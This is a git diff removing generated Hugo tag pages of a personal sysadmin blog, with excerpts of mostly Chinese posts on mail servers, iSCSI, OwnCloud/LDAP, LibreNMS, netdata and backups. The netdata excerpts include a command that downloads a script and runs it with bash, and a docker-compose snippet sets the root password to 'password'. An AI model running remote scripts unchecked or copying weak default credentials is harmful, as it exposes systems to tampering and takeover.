    - - -
    - -
    - - - - - -
    - - -
    -

    Migrate from Jekyll

    -
    - - - 2015-10-10 - - - - - - - - - lorem - - - - - -
    - - - Move static content to static Jekyll has a rule that any directory not starting with _ will be copied as-is to the _site output. Hugo keeps all static content under static. You should therefore move it all there. With Jekyll, something that looked like -▾ <root>/ ▾ images/ logo.png should become -▾ <root>/ ▾ static/ ▾ images/ logo.png Additionally, you’ll want any files that should reside at the root (such as CNAME) to be moved to static. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ipsum/page/1/index.html b/themes/public/tags/ipsum/page/1/index.html deleted file mode 100644 index 8bca5ad5..00000000 --- a/themes/public/tags/ipsum/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/ipsum/ \ No newline at end of file diff --git a/themes/public/tags/iredmail/index.html b/themes/public/tags/iredmail/index.html deleted file mode 100644 index d85c95a6..00000000 --- a/themes/public/tags/iredmail/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Iredmail | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 修改iredmail 的 postfix 在mail header加入自訂的 tag

    -
    - - - 2016-12-19 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    之前因為公司的MAIL SERVER遭受退信攻擊

    - -

    USER收到非常大量的退信,由於Anti-SPAM的機制目前沒有比較完整的處理方式

    - -

    所以我跟工程師討論之後,提出在現有SPF/DKIM以外,是不是可以在mail header加入一個特定的tag

    - -

    當收到退信,而這封退信的header中沒有包含我設定的tag,那就可以確定這是SPAM,直接丟掉就好

    - -

    可惜的是,現在用的SPAM Gateway沒有這樣的功能,只能直接把account 加入拒收退信名單(有點鴕鳥心態..)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/iredmail/page/1/index.html b/themes/public/tags/iredmail/page/1/index.html deleted file mode 100644 index 3e05d851..00000000 --- a/themes/public/tags/iredmail/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/iredmail/ \ No newline at end of file diff --git a/themes/public/tags/iscsi/index.html b/themes/public/tags/iscsi/index.html deleted file mode 100644 index 7ab77051..00000000 --- a/themes/public/tags/iscsi/index.html +++ /dev/null @@ -1,438 +0,0 @@ - - - - - - - - - - Iscsi | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/iscsi/page/1/index.html b/themes/public/tags/iscsi/page/1/index.html deleted file mode 100644 index 468c5839..00000000 --- a/themes/public/tags/iscsi/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/iscsi/ \ No newline at end of file diff --git a/themes/public/tags/job/index.html b/themes/public/tags/job/index.html deleted file mode 100644 index 77c63304..00000000 --- a/themes/public/tags/job/index.html +++ /dev/null @@ -1,390 +0,0 @@ - - - - - - - - - - Job | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/job/page/1/index.html b/themes/public/tags/job/page/1/index.html deleted file mode 100644 index 1e87ac5d..00000000 --- a/themes/public/tags/job/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/job/ \ No newline at end of file diff --git a/themes/public/tags/kilez-more/index.html b/themes/public/tags/kilez-more/index.html deleted file mode 100644 index 6c73eb43..00000000 --- a/themes/public/tags/kilez-more/index.html +++ /dev/null @@ -1,498 +0,0 @@ - - - - - - - - - - Kilez More | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - - -
    - -
    - - - - - -
    - - - - -
    - -
    - - - - - -
    -

    Kilez More - New World Order

    -
    - - - 2017-11-01 - - - - - - - - - Music - - - - - -
    - - - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don’t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/kilez-more/index.xml b/themes/public/tags/kilez-more/index.xml deleted file mode 100644 index 4eb528ff..00000000 --- a/themes/public/tags/kilez-more/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Kilez More on My cool new Blog - https://h.cowbay.org/tags/kilez-more/ - Recent content in Kilez More on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 16:23:40 +0100 - - - - - - Kilez More - Life And Death Of The Hegemony - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - Wed, 01 Nov 2017 16:23:40 +0100 - - https://h.cowbay.org/video/kilez-more-leben-und-tod-des-imperialismus/ - <p>Kilez More is a great Austrian musician. -Most of his songs have a political background and have amazing lyrics!</p> - -<p></p> - - - - Kilez More - New World Order - https://h.cowbay.org/audio/kilez-more-new-world-order/ - Wed, 01 Nov 2017 16:12:47 +0100 - - https://h.cowbay.org/audio/kilez-more-new-world-order/ - With the audio post type you can easily integrate a Spotify, SoundCloud, TuneIn or Mixcloud player to your post. -If you don&rsquo;t want to embed sound but use a header image you can set it with the featuredImage option in your markdown file. - - - - \ No newline at end of file diff --git a/themes/public/tags/kilez-more/page/1/index.html b/themes/public/tags/kilez-more/page/1/index.html deleted file mode 100644 index 238ef39c..00000000 --- a/themes/public/tags/kilez-more/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/kilez-more/ \ No newline at end of file diff --git a/themes/public/tags/ldap/index.html b/themes/public/tags/ldap/index.html deleted file mode 100644 index a5609b9a..00000000 --- a/themes/public/tags/ldap/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - Ldap | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定

    -
    - - - 2015-01-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今年的工作,列了一項建立公司內部私有雲的計畫,之前就有玩過免費的 OwnCloud ,這次拿來在公司環境試試看。 -底下簡單描述操作的步驟 -CentOS 7+OwnCloud+LDAP+AD 認證設定   -安裝 CentOS 7 下載ISO http://www.centos.org/download/ -把ISO丟上 esxi ,開一台新的 VM -配置大概如下,很簡單,想說主機上的RAM還有多,就配4G給這台 - -如果選最小安裝,會碰到很多指令不支援的問題,要一個個手動裝回來,這點要特別注意。 -另外,我的習慣是會關閉 SELINUX,另外設定 iptables ,這部分就看個人。 -為了之後要把Google Drive 拿來當作外部儲存空間用,所以之後都要用 hostname連線 -記得要修改DNS對應,如果用IP連線,Google Drive 的API 不接受! 安裝 OwnCloud CentOS 安裝好了之後,參考底下頭城國小資訊組的文章 PS 我雖說是礁溪人,不過老家親戚大部分都在頭城!硬要牽關係這樣 參考 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/512903 -資料儲存空間要修改成自己機器上的路徑 -啟用 OwnCloud 的 LDAP 進入 OwnCloud 後,在左上角的雲的旁邊有個下拉選單,裡面有個應用程式,點進去 -P.S 不知道為什麼,進入應用程式要等很久,是VM不給力?還是給雙核CPU太少? -之前在另一台FreeBSD的實體機上測試,也會有這個問題.. -Update 2015/01/06 -早上翻了一堆 owncloud 論壇的文章,管理介面緩慢的問題滿多人碰到的 -有說是DNS 解析的問題,有說是進入 admin 介面時,會去檢查一些像是系統更新、網際網路連線能力之類,所以會跑比較久。 -有跟著說明修改了一些config裡面的值,「感覺」似乎有變快.. -  - -進入應用程式後,啟用 LDAP user and group backend , - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/ldap/page/1/index.html b/themes/public/tags/ldap/page/1/index.html deleted file mode 100644 index cdd28612..00000000 --- a/themes/public/tags/ldap/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/ldap/ \ No newline at end of file diff --git a/themes/public/tags/librenms/index.html b/themes/public/tags/librenms/index.html deleted file mode 100644 index 1a5e49ff..00000000 --- a/themes/public/tags/librenms/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - Librenms | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    筆記- ubuntu 18.04 系統狀態監控工具 librenms

    -
    - - - 0001-01-01 - - - - - - - - -
    - - - LibreNMS LibreNMS 官方網站 -過去用過許多不同類型的伺服器狀態監測的系統,NAGIOS/NMS/MRTG/PRTG/CACTI/Smokeping 不得不說,前面幾種的界面設計很明顯已經「過時」,只有Smokeping 勉強算得上 「fancy」 現在的系統,已經不只是功能要能符合需求,UI/Report也要能夠「入眼」,才是個真正好的系統! -最近正好因為現在公司之前建立好的NMS發生一些問題,也跟主管討論怎樣改善這種狀況 <!– more –!> -上網找了一些 opensource 的系統,很多都還是那種比較「老派」的界面設計! 拜託!工程師也是人好嗎?時代在改變,「審美觀」自然也會跟著改變 15年前也許我會覺得 cacti 超炫! 15年後再看cacti我只能說超遜! -直到我看到 LibreNMS ! 設定簡單、畫面簡潔美觀,而且有docker file 可以直接執行!真的是太美好了! -二話不說,馬上下載docker-compose版本回來測試 setiseta/docker-librenms on github -下載回來之後,簡單修改一下docker-compose.yml 就可以跑了,docker就是這麼方便啊! 我的docker-compose.yml如下 基本上我只修改了 PASSWORD 和 timezone 還有要開的port而已 不過不知為何,改這邊的timezone似乎沒有作用,這個還要再研究 -version: '3' services: mysql: image: mariadb container_name: librenms-db volumes: - ./mysql:/var/lib/mysql - ./50-server.cnf:/etc/mysql/mariadb.conf.d/50-server.cnf:ro environment: - MYSQL_ROOT_PASSWORD=password - MYSQL_DATABASE=librenms restart: always librenms: build: . image: seti/librenms container_name: librenms hostname: librenms volumes: - . - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/librenms/page/1/index.html b/themes/public/tags/librenms/page/1/index.html deleted file mode 100644 index 9140b25e..00000000 --- a/themes/public/tags/librenms/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/librenms/ \ No newline at end of file diff --git a/themes/public/tags/linux/index.html b/themes/public/tags/linux/index.html deleted file mode 100644 index 4cf3ad0d..00000000 --- a/themes/public/tags/linux/index.html +++ /dev/null @@ -1,377 +0,0 @@ - - - - - - - - - - Linux | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/linux/index.xml b/themes/public/tags/linux/index.xml deleted file mode 100644 index 9e4b7456..00000000 --- a/themes/public/tags/linux/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - Linux on MC部落 - https://h.cowbay.org/tags/linux/ - Recent content in Linux on MC部落 - Hugo -- gohugo.io - Tue, 06 Nov 2018 15:24:29 +0800 - - - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - \ No newline at end of file diff --git a/themes/public/tags/mail/index.html b/themes/public/tags/mail/index.html deleted file mode 100644 index e99ef563..00000000 --- a/themes/public/tags/mail/index.html +++ /dev/null @@ -1,398 +0,0 @@ - - - - - - - - - - Mail | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    寄信給google被退信 錯誤 550-5.7.1的解法

    -
    - - - 2018-07-17 - - - - - - - - -
    - - - 參考 狀況 參考 https://blog.longwin.com.tw/2007/07/google_apps_localhost_mail_problem_2007/ -狀況 不知道什麼上週什麼時候開始,寄給google G Suite帳號的信件都會被退信。 退信訊息如下 -<ya@km.com>: host aspmx.l.google.com[108.177.125.26] said: 550-5.7.1 [123.123.123.123] The IP you're using to send mail is not authorized to 550-5.7.1 send email directly to our servers. Please use the SMTP relay at your 550-5.7.1 service provider instead. Learn more at 550 5.7.1 https://support.google.com/mail/?p=NotAuthorizedError a12-v6si21249839pgv.296 - gsmtp (in reply to end of DATA command) 單單看退信的內容,就是google把我伺服器的IP列為不受歡迎的黑名單,不能直接寄信給google 可是說也奇怪,本來是可以的啊? 而且,一開始只有寄給G suite帳號的信件會被退,寄給 gmail. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/mail/page/1/index.html b/themes/public/tags/mail/page/1/index.html deleted file mode 100644 index 945acdeb..00000000 --- a/themes/public/tags/mail/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/mail/ \ No newline at end of file diff --git a/themes/public/tags/markdown/index.html b/themes/public/tags/markdown/index.html deleted file mode 100644 index 1ff1ba89..00000000 --- a/themes/public/tags/markdown/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - Markdown | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/markdown/page/1/index.html b/themes/public/tags/markdown/page/1/index.html deleted file mode 100644 index 43e4abae..00000000 --- a/themes/public/tags/markdown/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/markdown/ \ No newline at end of file diff --git a/themes/public/tags/metabase/index.html b/themes/public/tags/metabase/index.html deleted file mode 100644 index 80d5c2a2..00000000 --- a/themes/public/tags/metabase/index.html +++ /dev/null @@ -1,382 +0,0 @@ - - - - - - - - - - Metabase | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/metabase/index.xml b/themes/public/tags/metabase/index.xml deleted file mode 100644 index 6d34e57b..00000000 --- a/themes/public/tags/metabase/index.xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - Metabase on MC部落 - https://h.cowbay.org/tags/metabase/ - Recent content in Metabase on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/nas/index.html b/themes/public/tags/nas/index.html deleted file mode 100644 index ea81c52c..00000000 --- a/themes/public/tags/nas/index.html +++ /dev/null @@ -1,391 +0,0 @@ - - - - - - - - - - Nas | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    - -

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇

    - -

    https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

    - -

    或者是這篇

    - -

    https://www.maketecheasier.com/mount-google-drive-ubuntu/

    - -

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/nas/index.xml b/themes/public/tags/nas/index.xml deleted file mode 100644 index 5b57e45d..00000000 --- a/themes/public/tags/nas/index.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - - Nas on MC部落 - https://h.cowbay.org/tags/nas/ - Recent content in Nas on MC部落 - Hugo -- gohugo.io - Mon, 05 Nov 2018 14:16:54 +0800 - - - - - - 筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入 - https://h.cowbay.org/articles/enable-synology-public-ssh/ - Mon, 05 Nov 2018 14:16:54 +0800 - - https://h.cowbay.org/articles/enable-synology-public-ssh/ - <p>公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file -之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來</p> - -<p>這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 -像是這篇</p> - -<p><a href="https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux">https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux</a></p> - -<p>或者是這篇</p> - -<p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> - -<p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/tags/netdata/index.html b/themes/public/tags/netdata/index.html deleted file mode 100644 index 61598cfd..00000000 --- a/themes/public/tags/netdata/index.html +++ /dev/null @@ -1,504 +0,0 @@ - - - - - - - - - - Netdata | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Netdata Linux System Performance Monitor Dashboard

    -
    - - - 2018-05-29 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - - - -
    參考
    - -

    https://www.digitalocean.com/community/tutorials/how-to-set-up-real-time-performance-monitoring-with-netdata-on-ubuntu-16-04

    - -
    安裝
    - -

    最後一個要注意,要安裝 netdata-all 才會安裝有DB的plugin (網路上都這樣說..)

    - -
    curl -Ss 'https://raw.githubusercontent.com/firehol/netdata-demo-site/master/install-required-packages.sh' >/tmp/kickstart.sh && bash /tmp/kickstart.sh -i netdata-all
    -
    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    Linux 底下極其詳細的System performace Monitor Dashboard - Netdata

    -
    - - - 2018-05-28 - - - - - - - - -
    - - - 參考 安裝 每天自動更新 啟用 python.d plugin 目錄 修改 postgres.conf 的DB 設定 參考 https://www.digitalocean.com/community/tutorials/how-to-set-up-real-time-performance-monitoring-with-netdata-on-ubuntu-16-04 -安裝 最後一個要注意,要安裝 netdata-all 才會安裝有DB的plugin (網路上都這樣說..) -curl -Ss 'https://raw.githubusercontent.com/firehol/netdata-demo-site/master/install-required-packages.sh' >/tmp/kickstart.sh && bash /tmp/kickstart.sh -i netdata-all 然後作 git clone -git clone https://github.com/firehol/netdata.git --depth=1 ~/netdata 接著就執行netdata提供的安裝script -sudo ./netdata-installer.sh 如果有少套件,就看缺什麼套件,裝上去就好了,或者一開始就先裝套件 -sudo apt-get install zlib1g-dev uuid-dev libmnl-dev gcc make autoconf autoconf-archive autogen automake pkg-config curl 安裝完成後,預設會在 localhost:19999 運作 ,還頗炫的 - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/netdata/page/1/index.html b/themes/public/tags/netdata/page/1/index.html deleted file mode 100644 index 9c243504..00000000 --- a/themes/public/tags/netdata/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/netdata/ \ No newline at end of file diff --git a/themes/public/tags/nginx/page/1/index.html b/themes/public/tags/nginx/page/1/index.html deleted file mode 100644 index efc1268c..00000000 --- a/themes/public/tags/nginx/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/nginx/ \ No newline at end of file diff --git a/themes/public/tags/openproject/page/1/index.html b/themes/public/tags/openproject/page/1/index.html deleted file mode 100644 index 63c749f0..00000000 --- a/themes/public/tags/openproject/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/openproject/ \ No newline at end of file diff --git a/themes/public/tags/openvz/index.html b/themes/public/tags/openvz/index.html deleted file mode 100644 index 189f7187..00000000 --- a/themes/public/tags/openvz/index.html +++ /dev/null @@ -1,424 +0,0 @@ - - - - - - - - - - Openvz | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/openvz/page/1/index.html b/themes/public/tags/openvz/page/1/index.html deleted file mode 100644 index 0ceaaaa8..00000000 --- a/themes/public/tags/openvz/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/openvz/ \ No newline at end of file diff --git a/themes/public/tags/openwisp/index.html b/themes/public/tags/openwisp/index.html deleted file mode 100644 index baeb53b2..00000000 --- a/themes/public/tags/openwisp/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Openwisp | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    Testing "django-netjsonconfig"

    -
    - - - 2018-01-14 - - - - - - - - - programming - - - - - -
    - - - A task came up in Google Code-in which asked me to install the django-netjsonconfig module by OpenWISP. Furthermore, I’m also supposed to share the challenges I faced during the set-up process as a sort of feedback. I’ll be trying be concise in this post so, without further ado, I’m beginning with this post. -Installing “django-netjsonconfig” The installation instructions for this this module have been well-documented on its GitHub repository. So I began the installation by creating a Python 2. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/openwisp/page/1/index.html b/themes/public/tags/openwisp/page/1/index.html deleted file mode 100644 index 99755f31..00000000 --- a/themes/public/tags/openwisp/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/openwisp/ \ No newline at end of file diff --git a/themes/public/tags/osticket/page/1/index.html b/themes/public/tags/osticket/page/1/index.html deleted file mode 100644 index 1bb37837..00000000 --- a/themes/public/tags/osticket/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/osticket/ \ No newline at end of file diff --git a/themes/public/tags/outlook/index.html b/themes/public/tags/outlook/index.html deleted file mode 100644 index 495647d5..00000000 --- a/themes/public/tags/outlook/index.html +++ /dev/null @@ -1,412 +0,0 @@ - - - 